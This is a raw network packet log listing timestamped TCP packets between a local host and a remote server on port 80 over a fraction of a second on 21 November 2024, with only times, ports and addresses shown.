Nov 21, 2024 19:58:22.043889999 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.043937922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.044642925 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.044692993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.044771910 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.044816971 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.154529095 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.154561043 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.154689074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.154689074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.154918909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.154968977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.154987097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.155026913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.155782938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.155833006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.155896902 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.155941010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.156589031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.156635046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.156697989 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.156743050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.157567024 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.157613993 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.157697916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.157744884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.158235073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.158281088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.158308029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.158349991 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.159054041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.159101963 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.159173012 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.159216881 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.159890890 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.159938097 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.160012960 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.160057068 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.160727024 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.160772085 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.160830021 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.160876036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.161550045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.161604881 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.161624908 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.161670923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.162385941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.162432909 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.162534952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.162580013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.163211107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.163256884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.163265944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.163305044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.164026976 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.164082050 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.164108992 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.164155006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.164865017 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.164911032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.164969921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.165019989 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.165713072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.165760994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.165864944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.165913105 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.166529894 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.166574955 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.166640997 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.166685104 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.167336941 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.167381048 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.167454958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.167499065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.168169022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.168212891 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.168276072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.168323994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.169006109 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.169055939 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.169102907 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.169148922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.169811964 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.169857025 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.169940948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.169986963 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.170646906 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.170695066 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.170810938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.170855999 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.171477079 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.171524048 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.171593904 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.171641111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.172307014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.172374964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.172421932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.172467947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.173130989 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.173177958 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.173249960 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.173295975 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.174006939 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.174057007 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.174123049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.174168110 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.174808979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.174854994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.174931049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.174977064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.175617933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.175664902 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.175725937 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.175770998 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.176026106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.176070929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.176078081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.176115990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.176883936 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.176930904 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.176995039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.177038908 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.177723885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.177772045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.177803040 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.177848101 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.178570032 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.178620100 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.178759098 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.178807020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.179385900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.179430962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.179490089 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.179536104 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.180176973 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.180222988 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.180305004 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.180347919 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.181020975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.181066036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.181098938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.181143045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.181842089 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.181886911 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.181940079 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.181988001 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.182694912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.182740927 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.182794094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.182838917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.183504105 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.183557034 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.183612108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.183656931 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.184302092 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.184349060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.184396982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.184442043 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.185143948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.185189962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.185246944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.185291052 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.185987949 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.186037064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.186114073 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.186158895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.186791897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.186837912 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.186889887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.186933994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.187660933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.187709093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.187760115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.187803030 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.188460112 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.188505888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.188513041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.188553095 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.189308882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.189317942 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.189357996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.236504078 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.236516953 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.236677885 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.236860991 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.236912966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.237006903 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.237055063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.237705946 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.237751961 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.237835884 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.237881899 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.238513947 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.238560915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.238617897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.238666058 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.239371061 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.239417076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.239454031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.239500046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.240159988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.240204096 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.240273952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.240319967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.240978003 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.241024971 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.241050005 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.241091967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.241822958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.241869926 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.241877079 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.241919041 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.242660046 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.242706060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.242711067 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.242753029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.243534088 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.243581057 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.243654966 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.243699074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.368747950 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.368765116 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.368832111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.368860960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.368946075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.368998051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.369082928 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.369132996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.369815111 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.369867086 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.369903088 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.369950056 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.370656967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.370712042 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.370719910 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.370774031 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.371448994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.371495008 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.371583939 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.371630907 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.372427940 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.372467995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.372481108 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.372518063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.373126030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.373172998 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.373282909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.373328924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.373944998 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.373991013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.374027967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.374075890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.374743938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.374804020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.374836922 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.374888897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.375576019 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.375633955 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.375669956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.375719070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.376563072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.376614094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.376616001 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.376663923 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.377296925 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.377350092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.377368927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.377417088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.378089905 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.378142118 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.378256083 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.378302097 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.378977060 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.379024982 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.379069090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.379113913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.379961014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.380006075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.380008936 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.380052090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.380563021 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.380633116 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.380713940 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.380763054 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.381377935 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.381433964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.381467104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.381515980 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.382208109 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.382266045 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.382314920 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.382364988 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.383037090 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.383093119 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.383121967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.383169889 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.383917093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.383969069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.384011984 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.384059906 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.384711981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.384763002 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.384877920 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.384929895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.385513067 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.385601997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.385678053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.385721922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.386377096 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.386425972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.386461020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.386507034 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.387317896 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.387377977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.387470961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.387521029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.387996912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.388051987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.388092995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.388140917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.389730930 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.389749050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.389795065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.389797926 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.389837027 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.389924049 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.389970064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.390571117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.390619040 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.390647888 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.390692949 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.391371965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.391413927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.391418934 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.391458988 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.392139912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.392189026 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.392227888 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.392272949 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.393217087 CET	80	49704	185.215.113.206	192.168.2.8
